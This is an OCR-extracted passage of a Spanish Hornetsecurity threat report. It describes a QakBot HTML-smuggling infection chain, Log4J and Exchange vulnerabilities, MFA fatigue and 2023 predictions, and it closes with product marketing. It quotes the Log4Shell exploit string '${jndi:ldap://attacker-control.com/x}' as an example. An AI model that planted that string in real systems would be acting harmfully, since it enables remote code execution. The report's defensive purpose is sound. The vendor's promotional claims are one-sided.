utiliza HTML para agrupar contenido malicioso en un archivo adjunto HTML. Hornetsecurity ha
informado sobre el trafico ileqal de HTML anteriormente en el contexto de phishing en el que
el sitio web de phishing estaba completamente contenido en los anexos HTML.

En Ia campafna QakBot observada, los correos electronicos que distribuyen archivos HTML mali-
ciosos se utilizan para eliminar el malware QakBot en el ordenador de la victima sin |a necesidad
de una carqga descendente adicional, como fue el caso en los ataques QakBot basados en docu-
mentos Excel anteriores. Cuando es recibido por Ia victima, el malware se construye a partir del
codigo HTML, lo que hace innecesarias |as descargas adicionales de sequnda etapa, restando a
Ias organizaciones oportunidades para detectar dicha infeccion de malware.
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Ademas del trafico ileqal de HTML, las campanas utilizan una cadena de archivos ZIP cifrados
protegidos con contrasena que contienen un archivo ISO, un archivo LNK, dos archivos DLL y
un binario calc.exe legitimo.

La cadena completa funciona de Ia siquiente manera:
« En primer lugar, se recibe un correo electrénico con un archivo adjunto HTML. Los ata-
cantes a veces usan el secuestro de hilos para agregar autenticidad a esta comunicacion.

+ Elarchivo adjunto HTML pretende ser un «Documento online» de Adobe, incitando inme-
diatamente al usuario a descargarlo.

The file is not displayed correctly. Use local

Acrobat DC.
It's how the
world gets
work done. Document password: abc321

downloaded file.

View, sign, comment on,
and share PDFs for fres.

« Laextraccion de archivos ZIP se facilita a través de JavaScript, con el contenido del archi-
vo ZIP codificado como base64 dentro del documento HTML. De esta manera, no se activa
ninguna comunicacion de red adicional.

+ El documento HTML muestra Ia contrasefa necesaria para descifrar el archivo ZIP.

+ Elarchivo ZIP contiene un archivo de imagen ISO, que incluye dos archivos DLL, un archi-
vo LNK y un ejecutable calc.exe leqitimo.

Verwalten CD-Laufwerk (E:)

Ansicht Laufwerktools

C » CD-Laufwerk (E2) Q) C aufwerk (E:)" durchsuche
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« El archivo LNK se utiliza para iniciar el calc.exe legitimmo desde la ruta dentro del archivo
ISO montado.

WVerwalten Verwalten

Farben Teminal
Verkcnlpfung Optionen

THXRTN_4451725

Anwendung

Ausfihren in:
Tastenkombination: Keine |

+ El calc.exe se utiliza para cargar una de las DLL maliciosas (en el ejemplo que se ve en las
capturas de pantalla llamadas WindowsCodecs.dll).

« Esta primera DLL se utiliza para cargar el malware DLL real de QakBot (en el ejemplo que
se ve en |as capturas de pantalla llamadas 102755.d1l) a traves de reqsvr32.exe.

La capacitacion efectiva del usuario final y el potente software de sequridad de Ias comuni-
caciones son esenciales para detectar y protegerse adecuadamente contra amenazas como
(OF1¢=]e]

Las principales vulnerabilidades de Log4lJ llegaron a los medios en diciembre de 2021. En los
primeros meses de 2022, muchas organizaciones lucharon con extensos parches y mitigaciones
para parchear sistemas afectados por | . Fue un sprint para parchearlo
todo debido a |a naturaleza severa de |Ia vulnerabilidad. Todo lo que un atacante tuvo que escri-
bir es lIa cadena de exploit ‘S{ jndi:ldap:// attacker-control.com/x}' en un archivo de registro us-
ando Log4J, que muchos sistemas modernos usan. Por ejemplo, esto podria hacerse por correo
electronico utilizando lineas de asunto u otros metadatos asociados con la comunicacion. Afor-
tunadamente, este estilo de ataque se puede prevenir facilmente utilizando una solucion de
sequridad de correo electronico de Ultima generacion.

Como recordatorio, Log4J es una herramienta de reqistro de codigo abierto ampliamente uti-
lizada. Log4lJ fue Ia principal herramienta de registro que sustenta otras innumerables aplica-
ciones. Cuando esta vulnerabilidad salid a Ia luz, puso en duda la supervision del sector (o Ia fal-
ta de ella) necesaria en Ias principales utilidades y bibliotecas de codigo abierto. Las utilidades
de este tipo ayudan a formar una base central de tantas otras herramientas. Como resultado, |a
comunidad necesita reunirse y discutir formas de evitar que el proximo evento del estilo Log4)
vuelva a ocurrir.

Consulte Ia para obtener mas infor-
macion.
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Vulnerabilidades de Microsoft Exchange

Decir que 2.022 ha sido un ano dificil para las vulnerabilidades en Microsoft Exchange Server
seria quedarse corto. Vimos una y otra vez durante 2022 como los administradores de siste-
mMas tuvieron que luchar para mitigar o parchear una vulnerabilidad de dia cero en Microsoft
Exchange para instalaciones locales. Afortunadamente, Exchange Online (Microsoft 365) no ha
sido afectado en gran medida.

En el momento de editar este informe, se habian registrado 15 CVEs (Vulnerabilidades y Ex-
posiciones Comunes) diferentes enumeradas en la base de datos NIST National Vulnerability
en 2022. Diez de ellas tenian una calificacion CVSS (Common Vulnerability Scoring System) de
8.0 o superior, lo que indica una grave amenaza a la sequridad de |Ia organizacion debido a la
posibilidad de explotacion.

El CVE m3s reciente permite que los ata- ]o DE ]5

cantes inicien la ejecucion remota de codi- CVEs tenia un CVSS
go contra el sistema de destino. Microsoft
dispone de algunas medidas de mitigacion,
pero todavia se esta desarrollando un parche
oficial (a partir de este documento). Una vez
mas, Exchange Online (Microsoft 365) no se
ve afectado.

Esto lleva a la importante prequnta de si los E
servidores de Exchange locales aun deben
ser aprovechados por las empresas a menos
que haya un requisito fijo de correo local.
Con el alojamiento completo de Exchange
Online como parte de Microsoft 365, Micro-
soft puede parchear y configurar para cada
uso personalizado de Exchange Online rapi-
damente y con Ias mejores practicas. Por lo
tanto, el servidor de Exchange local se esta
analizando cada vez mas con prequntas e in-
quietudes de los lideres empresariales y los
profesionales de la sequridad. Si no ha re-
evaluado el uso de un servidor de Exchange

local hace algun tiempo, ahora es un buen Fig. 13: Base de datos NIST National Vulnerability en
momento para hacerlo. 2022.
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Ingenieria Social MFA

No cabe duda de que MFA (autenticacion multifactor) ha mejorado la posicion de sequridad de
innumerables personas en todo el mundo. Los atacantes saben que MFA es una tecnologia con
I3 que van a tener que lidiar reqularmente y, previsiblemente, han comenzado a idear métodos
3 su alrededor. Esto incluye ataques como MFA Fatigue, SIM Swapping y otros.

SIM Swapping ha existido desde hace algun tiempo, pero sique siendo un metodo valido de
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ataque para cibercriminales con un objetivo especifico en mente. En febrero de 2022, el FBI
notificd al publico y a las empresas de telecomunicaciones el aumento de Ias amenazas de
intercambio de SIM. Como resultado, muchas organizaciones respondieron a los riesqos de vin-
cular los procesos de MFA a los mensajes de texto en favor de un enfoque de aplicacion de
autenticacion.

Sin embargo, Ias aplicaciones de autenticacion (como Microsoft Authenticator o Google Au-
thenticator) no son inmunes a los ataques, y dependiendo de la configuracion, estamos viendo
un aumento en los incidentes sociales dirigidos a este tipo de aplicaciones de autenticacion. La
amenaza Mas comun en esta cateqoria es un ataque llamado MFA Fatique o «Prompt Bomb-
ing».

MFA Fatigue apunta a confiquraciones de MFA «basadas en push» que incitan al usuario final
con una notificacion push en su dispositivo movil. Este tipo de ataque esta disefiado para mole-
star persistentemente al objetivo hasta tal punto que acepte accidentalmente el mensaje MFA
o lo haga solo para que se detenga. Se ha informado que este tipo de ataque se combind con
otras tecnicas de ingenieria social (mensajes de WhatsApp en que afirmaban ser empresas IT)
para finalmente obtener acceso completo a Ia infraestructura central de Uber.

Capitulo 4 — Prondstico del panorama de amenazas en 2023

Predicciones del Hornetsecurity Lab

La cibersequridad va a adquirir un protagonismo aun mayor en 2023. Las vulnerabilidades de
Big Data y los ataques de ransomware son cada vez mas frecuentes en los principales medios
de comunicacion, y las personas notan su efecto en Ia vida diaria. Hay varias estrategias clave
que los cibercriminales continuaran explotando e incrementando en 2023, adema3s de algunas
amenazas emergentes a Ias que Ias empresas deben prestar mucha atencion.

Cambio de objetivos

Las bandas criminales se volveran aun mas e N\
especializadas y optimizadas en sus opera-
ciones a medida que continuen compro-
metiendo a empresas, gobiernos y organi-
zaciones en todo el mundo. Alqunos focos
cambiaran del hemisferio norte al sur, ya que
Ias sanciones contra Rusia (donde se origina
un gran porcentaje de ataques) haran que
Ias victimas europeas y estadounidenses
paguen Ma3as a los atacantes de esa reqion.
Esa misma dificultad de obtener un pago
también va a empujar a algunos actores de
ransomware hacia Business Email Compro-
mise (BEC) en su lugar. N\ _J
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Sigue el liderazgo de Ucrania en cibersequridad

Las empresas occidentales estan aumentando su resiliencia en materia de cibersequridad, pero
el ritmo debe acelerarse. Consideremos el caso de la cibersequridad nacional de Ucrania. No
estan frustrando la mayoria de los ciberataques rusos porque tienen un CISO discutiendo la
importancia de Zero Trust. Son tan resilientes como lo son porque han sido golpeados desde al
menos 2014 y adaptarse a estos ataques los ha hecho mas fuertes. Las organizaciones en todas
Ias geoqgrafias deben adoptar el mismo enfoque y utilizar el aumento de Ia frecuencia y la sofis-
ticacion de los ataques para aprender, adaptarse y volverse mas ciberresistentes.

Fraude de caridad

Cada vez que hay un evento mundial impor-
tante, como la pandemia de COVID-19 o la
guerra en Ucrania, vemos un marcado au-
mento en los casos de fraude. El fraude de
caridad es uno de los esquemas Mas antig-
UoS que existen, pero sigue siendo efectivo
hoy en dia. También se podria argumentar
que los delincuentes tienen acceso a una lis-
ta cada vez mas grande de objetivos poten-
ciales ahora tambien con tecnologias como
el correo electronico y Ias redes sociales.

Nuestro conjunto de datos contenia un gran
numero de correos electronicos relacionados
con dos casos de fraude de alto perfil. Uno
involucroaa organizaciones beneéficas ucra-
nianas fraudulentas robando donaciones, y
el otro fue dirigido hacia el alivio de los efec-
tos del Huracan lan en los Estados Unidos.
Es de esperar que esta tendencia continue
en 2023 para capitalizar cualquier otro even-
to catastrofico. Probablemente también
veremos un aumento gradual del fraude de
caridad relacionado con los acontecimientos
mundiales en curso, como el cambio climati-
co.
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Fatiga MFA

Los ataques de phishing/fatiga/bypass de
MFA aumentaran a medida que mas orgQa-
nizaciones lo utilicen, ahora que hay kits de
herramientas de codigo abierto que facilitan
varios metodos de bypass.

-

- J

Creciente preocupacion con
Microsoft Teams

Microsoft Teams se convertira en un objetivo
aun mas importante para los ataques, ya que
se convierte en el eje central de colaboracion
en la transformacion digital de los negocios.
Veremos mas ataques de ingenieria social y
de adjuntos/vinculos maliciosos a medida
que los canales compartidos y la federacion
con «consumer Teams» (activado por defec-
to) aumentan la conectividad en las orga-
nizaciones. Un buen escaner anti-malware/
antispam/link para Teams ser3d crucial. El
propio cliente de Teams, al ser una aplicacion
electronica, se ejecuta en un navegador web
sin todas Ias protecciones actuales y contin-
uara teniendo fallos de sequridad, como se
vio con los «tokens almacenados en texto
plano» denunciado en septiembre de 2022.


https://www.fbi.gov/contact-us/field-offices/omaha/news/press-releases/charity-fraud-warning
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Los dispositivos madviles seran cada vez mas atacados

Los dispositivos moviles seran cada vez mas atacados de varias maneras. Para muchos, los
smartphones son el dispositivo principal tanto en su vida Iaboral como personal (y a menudo la
fuente de autenticacion MFA), y los ataques, como aplicaciones bancarias fraudulentas, aumen-
taran. Se ha centrado mucho en el grupo NSOy el malware Pegasus, pero hay otras empresas
menos conocidas que venden este tipo de kits. Los ataques de correo electréonico disfrutaran
de un mayor éxito en los dispositivos moviles, ya que Ias Ul minimalistas proporcionan menos
informacion al usuario en cuanto a la autenticidad de los correos electronicos. El uso de canales
de comunicacidon no corporativos (que los usuarios usan todos los dias), como WhatsApp, sera
utilizado por los atacantes, ya que no son monitoreados por Ia organizacion y pueden aumentar
el exito de los ataques de ingenieria social.

La mayor dependencia de APIs aumenta el Riesgo

Los ataques de APl aumentaran a medida que IT en todo el mundo migre cada vez mas a Ia
nube y los servicios se proporcionen a traves de APls. Los controles de acceso mal configurados
continuaran ofreciendo a los atacantes acceso a los datos.

Ampliando los requisitos de configuracion de Microsoft 365

Para Microsoft 365 especificamente, el abrumador numero de opciones de configuracion de se-
guridad y los diferentes portales necesarios para configurarlas, ademas de la naturaleza cambi-
ante del servicio, contribuiran a tensar los equipos de sequridad, particularmente en las pymes.

Plazos de explotacion cada vez mas cortas

El tiempo entre el POC/exploit publicado para una vulnerabilidad particular y un inicio de com-
promiso continuara disminuyendo. Antes se median en dias, ahora pueden ser horas, y para los
equipos de sequridad ya tensos, saber cudles afectan a nuestros sistemas y lueqo parchearlos
rdpidamente va a ser cada vez mas importante.

El enfoque continuo de los cibercriminales en los dispositivos loT

Los dispositivos 10T aumentaran como un e N\
objetivo favorito, ya que, a diferencia de los

ordenadores modernos, no tienen las mis- @ 2 e Q
Mas protecciones incorporadas, ni es tan f3- 8

cil actualizarlos cuando se encuentran vul- @ e ¥
nerabilidades. Y si se trata de un televisor m @ ® <

inteligente, una camara de vigilancia o una
impresora, una vez que se ve comprometi-
do, proporciona un punto de apoyo para mas
actividades maliciosas. Las leyes propues-
tas en la UE y los EE.UU. propiciaran alqgunas
mejoras, pero solo para los dispositivos loT

sequros. \_ r/
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Mas Deepfakes atrevidos

Los «Deep Fakes» son una amenaza emergente para la cibersequridad desde hace un par de
anos. En caso de que no esteés al tanto de lo que son: los «Deep Fakes» son imagenes genera-
das por ordenador o videos diseNados para parecerse 3 personas reales. Se pueden utilizar para
crear noticias falsas, difundir informacion erronea u hostigar y amenazar a 1as personas.

Predecimos que en 2023 Ia tecnologia de falsificacion de voz y video continuara mejorando, y
I3 Facilidad de hacerlos aumentara su uso. Esto sera tanto para operaciones de informacion (por
ejemplo, |a querra de Rusia contra Ucrania) como para ataques de ingenieria social. Una cosa es
recibir un correo electronico de aspecto sospechoso del «CEO» pidiéndote que envies una gran
suma de dinero 3 alqun lugar, y otra muy diferente que «ella» te llame y te pida que lo hagas.

Un cambio a archivos LNK y trafico ilegal HTML

Como se ve en el Capitulo 3, el bloqueo de macros de Microsoft en documentos Word y Excel por
defecto, ha hecho que los atacantes pasen a utilizar archivos LNK maliciosos y trafico ileqal de
HTML en su lugar. Las macros una vez fueron un metodo facil de usar para los cibercriminales
para tratar de entregar una carga Util 3 un objetivo. Esto es porque las macros estan disefadas
para ejecutar operaciones automatizadas y trozos de codigo en nombre del usuario. Debido a
esto, se utilizaron ampliamente para entreqar malware y otros paquetes maliciosos 3 los usu-
arios finales. Microsoft respondiod a esta tactica y tomo la decision estrategica (y bienvenida)
de deshabilitar Ias macros por defecto en los archivos de Office. Debido a este cambio, los ata-
cantes ahora tienen que confiar en otros metodos de implementacion como archivos LNK y
trafico ileqal de HTML para lograr los mismos resultados.

Computacion cuantica y cifrado

Ninqun informe previsor que se precie puede dejar de lado la computacion cuantica y sus im-
plicaciones para la cibersequridad en el futuro.

C )
La Computacidn cuantica en pocas palabras

Muchas empresas tecnoldgicas e instituciones acadéemicas estan trabajando en com-
putadoras cuanticas que usan qubits para almacenar informacion en lugar de los bits
utilizados en las computadoras actuales. Los qubits se basan en la caracteristica de la
superposicion de modo que un qubit puede ser tanto O como 1 simultdneamente.

En Ia practica, esto significa que cuando una computadora cladsica aborda un comple-
jo problema matematico con una solucion tras otra hasta que finalmente encuentra Ia
correcta, un calculo cuantico puede probar todas las soluciones simultaneamente. Los
primeros ordenadores cuanticos ya estan disponibles en Ia nube, donde puede usarse y
pagar por minuto. Sin embargo, solo tienen un Nnumero limitado de qubits que restringe
el tamano de los calculos que puede hacer, y sufren errores, |0 que requiere que se vuel-
van 3 ejecutar sus calculos varias veces para encontrar estadisticamente el que tenga el
menor numero de errores.




Existe un consenso en el sector IT sobre que, en algun momento en un futuro Nno muy lejano,
Ias computadoras cuadnticas estaran disponibles de forma mas generalizada, con programas
que pueden romper facilmente los algoritmos de cifrado de hoy en dia disefiados para proteger
contra las amenazas informaticas clasicas. Se le ha llamado el cambio climatico de la cibersequ-
ridad: Todos sabemos que esta sucediendo, pero no estamos haciendo lo suficiente para lidiar
con ello ahora. Esto no es solo un problema de «futuro». Las agencias de todo el mundo estan
almacenando grandes cantidades de datos capturados y cifrados que estan protegidos hoy en
dia, pero que podrian no estarlo cuando Ias computadoras cuanticas estén disponibles de forma
mMa3s generalizada.

El NIST de EE.UU. ha estado coordinando Ia carga en el desarrollo de algoritmos de cifrado
desde 2016 que se pueden utilizar para cifrar y firmar digitalmente datos que son resistentes
3 ataques de computacion clasica y cuantica. En abril de 2022, anunciaron los primeros cuatro:
Crystals-Kyber para cifrado general y CRYSTALS-Dilithium, FALCON y SPHINCS+ (pronuncia-
do «SPHINCS plus») para firmas digitales. Los nombres de referencia de ciencia ficcion/cristal,
responden a que los tres primeros se basan en matematicas estructuradas. Hay cuatro algo-
ritmos mas por anunciar, y el estadndar final deberia estar terminado en aproximadamente dos
anos. Ademas de esto también se esta realizando un trabajo prometedor en las suites de cifra-
do de TLS 1.3.

El reto es que si bien se puede crear un algoritmo complejo Que pueda resistir cualquier ataque,
también debe ser lo suficientemente rdpido como para ser utilizado en todo tipo de dispositivos
con memoria restringida y capacidad de CPU. Debe ser facil de implementar para que pueda
usarse en paralelo durante el periodo de transicion.

Dado que el estandar no estar3 finalizado hasta dentro de dos anos, sque deberia hacer Ias or-
ganizaciones ahora?

« Comenzar por hacer inventarios en todos los lugares de su patrimonio digital (nubes y
locales) donde almacenen datos y utilizar el cifrado.

« Ademas, encontrar todos los lugares donde se usan certificados digitales (y cuando ca
ducan).

Por Ultimo, determinar que leyes y requlaciones requlan el tiempo durante el cual se deben
conservar los datos y asequrarse de que coinciden con sus politicas de retencion de datos. Dado
que muchas grandes organizaciones almacenan demasiados datos qQue no necesitan conservar
y, por lo tanto, suelen estar indebidamente expuestas 3 violaciones de datos, asequrarse de
adoptar una politica para mantener solo lo que deben (en funcion de la normativa y las necesi-
dades de negocio) y eliminar el resto. No se pueden perder los datos que no se tienen.

Todos los lugares en los que se almacenen datos sensibles/IP| durante mas de un par de anos
son los principales candidatos para volver a cifrarlos con los nuevos algoritmos tan pronto
como sean definitivos, especialmente si se deben conservar esos datos durante muchos anos.
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Las implicaciones de Ia sequridad sin contrasena

El acto de autenticar a un usuario en un
sistema ha tomado el protagonismo en los
ultimos afos: «comienza con la identidad al
construir el enfoque de “Zero Trust” para la
cibersequridad». Esto se vio agravado por |a
aplicacion del trabajo desde casa (WFH) cau-
sada por la pandemia.

Durante mucho tiempo, I3 solucidén ha sido
I3 Autenticacion Multifactorial (MFA), ya que
los nombres de usuario y las contrasenas
son demasiado faciles de borrar o comprar
en foros de hackers que requieren el uso de
una capa adicional de autenticacion. Pero
resulta que no todos los metodos de MFA
son iquales.

Los codigos MFA basados en llamadas
telefonicas o mensajes de texto conllevan
riesgos como el intercambio de SIM y, m3s
recientemente, los ataques de fatiga MFA
contra notificaciones push. Varias aplica-
ciones de autenticacion (Microsoft, Google,
Authy, etc.) se ejecutan en el smartphone.
Cuando se pide demostrar que se est3 ini-
ciando sesion, aparece una notificacion en el
teléfono y se aprueba. Una forma de subver-
tir esto (Que funciond en el reciente hackeo
de Uber) es que el atacante inicie sesion
repetidamente, generando tantos mensajes
que eventualmente, el usuario presionara
aprobar solo para que se detenga. O anada
un toque de ingenieria social con un men-
saje de IT diciendo: “Estamos probando una
nueva version de MFA. ¢Podrias simple-
mente presionar Aprobar por Nosotros?».

Necesitamos enfoques MFA resistentes al
phishing o, mejor aun, autenticacion sin con-
trasefa. Estos incluyen las claves FIDO (Fast
Identity On-line) y soluciones biomeétricas,
como Windows Hello for Business.

En ultima instancia, sin contrasena significa
que los usuarios no tienen una contrasena
y siempre usan metricas bioldgicas o claves

FIDO para iniciar sesidon cada vez y usar con-
trasefas de una sola vez como alternativa
cuando falla Ia biometria.

¢Que se debe hacer hoy para ayudar a Ia or-
ganizacion en el camino hacia la ausen-
cia de contrasefas?

« Asequrarse de que IT, sequridad y, lo mas
importante, la direccion de la empresa,
estén de acuerdo con lo importante que
es esto ahora.

« Hacer un inventario de todos los siste-
Mas que solo estan proteqidos por nom-
bre de usuario y contrasena y establecer
un plan para reemplazarlo con MFA. Para
todos los sistemas que ya estan utilizan-
do MFA, averiguar si alguno de ellos de-
pende de SMS o llamadas de voz y susti-
tuirlos por enfoques MFA ma3s fuertes.

+ Y finalmente, establecer un plan para
sustituirlos por otros sin contrasena.




La excesiva dependencia de los grandes proveedores

Hay varios factores que inciden en Ia competencia por la sequridad empresarial. Los retos mas
obvios son el presupuesto y los recursos humanos, encontrar personas con Ias habilidades ade-
cuadas y proporcionarles un entorno para crecer mientras se asequran de qQue NO se quemen
(lo que es particularmente desafiante en cibersequridad). Otros factores son que los directivos
no se toman la sequridad lo suficientemente en serio 0 que |a equiparan al cumplimiento de Ia
normativa.

Otro factor es |a seleccion de las herramientas de sequridad correctas para proteger la empresa.
En un 3mbito tan joven y cambiante, hay multitud de proveedores que ofrecen excelentes her-
ramientas que resuelven todos los problemas de sequridad. Y esas herramientas vienen con Al
y Zero Trust (y cualquiera que sea Ia palabra de moda del momento) incorporadas.

Ademas, para Microsoft 365 especificamente, existe la opcion de usar herramientas integradas
frente a servicios de terceros. Muchos han arqumentado que las herramientas incorporadas
son como tener al propietario de la fabrica como oficial de cumplimiento. Microsoft proporciona
la plataforma de colaboracion con proteccion basica (Exchange Online Protection — EOP, por
ejemplo) incorporada, pero para Ia proteccion de grado empresarial, necesita niveles de licencia
mMas altos. Siendo realistas, hay un conjunto limitado de recursos, incluso en una gran organi-
zacion como Microsoft, asi que ¢cuanto se dedicara a correqir fallos en la plataforma subyacen-
te en lugar de anadir m3s funcionalidades a |as licencias avanzadas?

Una forma para abordar esto es a traves de un tercero. Ese proveedor, que proporcione |a pro-
teccion del email y backup, por ejemplo, se centrara mejor en ese area, compitiendo con otros
servicios de terceros, mientras que Microsoft debe ser «el mejor» en muchas, muchas areas,
lo que, por supuesto, es imposible. Ademas, como parte de una estrategia de Continuidad de
Negocio y Recuperacion de Desastres (BCDR), tener sistemas separados que pueden ofrecer |a
capacidad de enviar y recibir correos electronicos en caso de una interrupcion de Microsoft 365,
por ejemplo, es una buena estrateqia.

El dominio de Microsoft en el entorno de productividad en |a oficina conduce a algunas dinami-
cas interesantes. Hay proyectos en Github dedicados a encontrar formas de eludir el filtro de
Exchange Online, por ejemplo.

Cualquiera que sea el servicio elegido, es fundamentar asequrarse de que se integre bien con
su sistema: los sistemas aislados y las alertas son dificiles de gestionar para los SOC y pueden
provocar que se descarten incidentes.

cOué riesqos correra mi organizacion en 2023?

Mirando a nuestras fuentes de datos, est3 claro que la mayoria de los ciberataques no estan
dirigidos en funcion del sector o tipo de organizacion. El espionaje del Estado-nacidon es una
amenaza diferente, y Ia empresa tiene una propiedad intelectual de interés o conexiones con
organizaciones de defensa/gobierno, puede convertirse en un objetivo.



Sin embargo, para Ia mayoria de las empresas, los ataques mas peligrosos son ransomware y
BEC. Los delincuentes ahora usan ZoomInfo y servicios similares para determinar si una empre-
Sa puede pagar un suculento rescate. Basado en las fugas de Conti, sabemos que este es ahora
el procedimiento estandar, por lo que el tamafo del negocio es definitivamente un factor. Otro
factor en Ia determinacion de Ia probabilidad de ser objetivo es cuan critica es |Ia empresa para
I3 sociedad. Atacar a un hospital (o un suministrador esencial) en lugar de una tienda de ropa
aumenta la probabilidad de que se pague el rescate.

Otro factor es cuanta tecnologia heredada tiene, los hospitales, por ejemplo, 3 menudo tienen
equipos medicos con ordenadores integrados que ejecutan sistemas operativos antiquos que
solo el proveedor puede actualizar.

Lo que Ias organizaciones deben hacer para defenderse

Lo basico es siempre importante

Comenzar por hacer bien lo basico. Las noticias estan llenas de organizaciones que fueron
«Pwned», no debido a una Amenaza Persistente Avanzada Zero Day desconocida, sino porque
alquien dejo una API abierta sin autenticacion. O porque la contrasefa de alquien era Pass-
word123; o hicieron clic en un enlace en un correo electronico, y eran administradores locales
de su PC, por lo que el malware se ejecutd sin obstaculos. O porque IT asumid que las copias de
sequridad se estaban ejecutando con exito porque los puertos redirigidos decian que lo hacian,
pero ahora, cuando todos los documentos estan encriptados, resulta que Ias copias de sequri-
dad no estan en buen estado, por lo que |as restauraciones estan fallando. O los sistemas esta-
ban abiertos a exploits conocidos porque no habian sido parcheados durante seis meses. Tan-
tas cosas pueden salir mal que es fundamental mantenerse al tanto de las cosas «pequenasy.

Construir una cultura de sequridad sostenible

Consequir lo basico requiere tiempo, esfuerzo y capacidad de permanencia. Requiere presu-
puesto y aceptacion del liderazqgo. Requiere cambios de mentalidad y cultura, lo que puede
llevar tiempo y esfuerzo conjunto. Parte de ese cambio cultural es entender Ia diferencia entre
la responsabilidad y el compromiso por |a cibersequridad. El trabajo del CISO no puede ser «ase-
qurar todo», y luego cargar con Ia culpa cuando |a organizacion es hackeada. EI CISO y su equipo
de sequridad son de hecho responsables de Ia sequridad, pero cada equipo de NnegocCios es re-
sponsable del marco que utilizan para programar sus aplicaciones (y todas sus dependencias de
codigo abierto). El Departamento de Finanzas es responsable de |a solucidn SaasS que eligio (y
no le dijeron a IT), y RRHH es responsable de Ias decisiones que toman en torno a |a sequridad
y el procesamiento de datos personales. Para construir realmente una empresa ciber-resiliente,
todos deben estar involucrados, y para orientarse hacia ese objetivo, el liderazgo debe priorizar
esto y liderar con el ejemplo. Obligar a todos a usar MFA pero tener una excepcion para el CFO
porque «esto dificulta su productividad» envia una sefal equivocada.

En resumen, las organizaciones DEBEN centrarse en construir una cultura de sequridad
sostenible y holistica.



https://www.cisecurity.org/insights/blog/the-conti-leaks-a-case-of-cybercrimes-commercialization

Zero Trust

Zero Trust (ZT) es una palabra de moda, pero tambien un enfoque practico para asequrar los
sistemas de IT. En su esencia, significa verificar cada conexion explicitamente, asumiendo una
violacion y utilizando el acceso menos privilegiado. Si estd buscando un enfoque independiente
de los proveedores, The Open Group y sus mandamientos ZT lo cubren.

Una estrateqia de sequridad equilibrada

Para que los responsables de IT y sequridad puedan gestionar el resto de |a empresa, necesitan
aprender a hablar el idioma correcto. La sequridad es uno de los muchos riesqgos empresariales,
como los riesqgos geopoliticos, que siempre estan presentes y actualmente son muy impor-
tantes, dada la invasion rusa de Ucrania. Otros riesqos incluyen |a relevancia del mercado, que
debe gestionarse 3 traves de |a transformacion digital. Los riesqos de cibersequridad requieren
I3 creacion de una empresa resiliente.

Equilibrar los recursos 3 traves de IT y sequridad para construir esa resiliencia y madurez de
cibersequridad en una empresa, requiere una comprension de como las partes trabajan juntas
para un todo mayor. No tiene sentido tener cientos de analistas de SOC que lidian con ava-
lanchas de incidentes en lugar de tener un programa de parcheo robusto para evitar que los
sistemas se vean comprometidos en primer lugar. Y no tiene sentido que el equipo de sequridad
asuma toda Ia culpa y la responsabilidad por los errores de otros departamentos que conducen
3 un compromiso. Solo cuando se disponga de un programa de sequridad equilibrado, en el que
cada parte trabaje conjuntamente para mantener |a sequridad de |la empresa y mejorar contin-
uamente para hacer frente a3 amenazas, la organizacion sera verdaderamente ciberresistente.

Teniendo en cuenta la evolucion de Ias tendencias y Ias amenazas emergentes, una estrate-
gia de sequridad de correo electronico robusta nunca ha sido tan importante. Asequrarse de
disponer de una solucion de sequridad fuerte y facil de usar para protegerse de las amenazas
basadas en el correo electronico sigue siendo el aliado mas poderoso para la cibersequridad en
2023.
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¢Por qué necesitas sequridad adicional?

Los atacantes pueden identificar facilmente a un usuario de M365 porque los registros MX
y |Ias entradas de deteccidon automatica estan disponibles publicamente online. Dado que Ia
proteccion integrada de Microsoft es insuficiente, es fundamental proteger sus cuentas M365
con otra capa de sequridad. Hornetsecurity emplea una variedad de potentes tecnoloqias para
combatir el malware de correo electronico, las brechas de sequridad y otras amenazas. Tambien
oculta los registros DNS y MX de Microsoft, lo que ayuda a disuadir a los posibles atacantes.

Mejora tu sequridad

Total Protection 365 de Hornetsecurity esta especialmente desarrollado para Microsoft 365.
Proporciona una proteccion integral para los servicios en la nube de Microsoft a traves de una
integracion perfecta.

365 Total Protection simplifica Ia gestion de sequridad IT desde el principio al ser facil de con-
figurar y sencillo de usar.

Con solo 3 clics, el proceso de onboarding intuitivo se completa y Microsoft 365 se fusiona con
365 Total Protection.

Onboarding en tan solo 30 sequndos

@
o
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Planes Total Protection:

Total Protection
Enterprise

Sequimiento en vivo por correo electrénico

Gestion de Infomail

Control de contenido

Proteccién contra spam y malware

Outlook permite listar y neqar la lista

Firmas de usuario individuales

Anuncios inteligentes con 1 clic

Descargo de responsabilidad de la empresa

Cifrado Global S/MIME & PGP

Control de politicas de cifrado sequro

Websafe

Archivo de correo electrénico

10 afos de retencidn de correo electronico

eDiscovery

An3lisis forenses

ATP Sandboxing

Control de Malware de URL

Informe de amenazas en tiempo real

Malware Ex Post Alerta

Servicio de Continuidad de Correo Electrénico

Copias de sequridad automatizadas

(Mailboxes, Equipos, OneDrive, SharePoint)

Recuperacion (Mailboxes, Equipos, OneDrive,

SharePoint)

Copia de sequridad y recuperacion de

endpoints basada en Windows

Auditoria de actividad de la cuenta de respaldo
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Capitulo 5 — Recursos

«  M365 Security Checklist eBook - https:/www.hornetsecurity.com/en/ebook-micro
soft-365-security-checklist/

« The Backup Bible eBook - https://www.altaro.com/ebook/backup-bible.php
« Hornetsecurity Support - https://support.hornetsecurity.com/hc/en-us

« Informe de ciberamenazas 2022 - https://www.hornetsecurity.com/en/press-releases/
new-cybersecurity-report/

- Responsabilidad compartida en Ia nube (Microsoft) - https:/learn.microsoft.com/en-us/
azure/security/fundamentals/shared-responsibility

« Acuerdo de servicios de Microsoft - https:/www.microsoft.com/en-us/servicesagreement

- Actualizacion de Uber Hack: ¢Se robaron los datos de usuario sensibles y 2FA abrio Ia
puerta al hacker? - https://www.forbes.com/sites/daveywinder/2022/09/18/
has-uber-been-hacked-company-investigates-cybersecurity-incident-as-law-enforce
ment-alerted/

« Conti Ransomware Group Diaries - https:/krebsonsecurity.com/2022/03/conti-ransom
ware-group-diaries-part-iii-weaponry/

- Base de datos nacional de vulnerabilidades: CVE-2022-30190 - https:/nvd.nist.qgov/vuln/
detail/cve-2022-30190

« Hornetsecurity Ransomware Survey 2022 — https:/www.hornetsecurity.com/en/knowl
edge-base/ransomware/ransomware-attacks-survey-2022/

+  Hackers que utilizan Bumblebee Loader para comprometer los servicios de Active Directo-
ry (Hackernews.com) - https:/thehackernews.com/2022/08/hackers-using-bumble
bee-loader-to.html

- Estadisticas de ingresos y uso de Microsoft Teams (2022) - https:/www.businessofapps.
com/data/microsoft-teams-statistics/

. ¢Cudntos correos electronicos se envian por dia en 2022? — https://earthweb.com/how-
many-emails-are-sent-per-day/

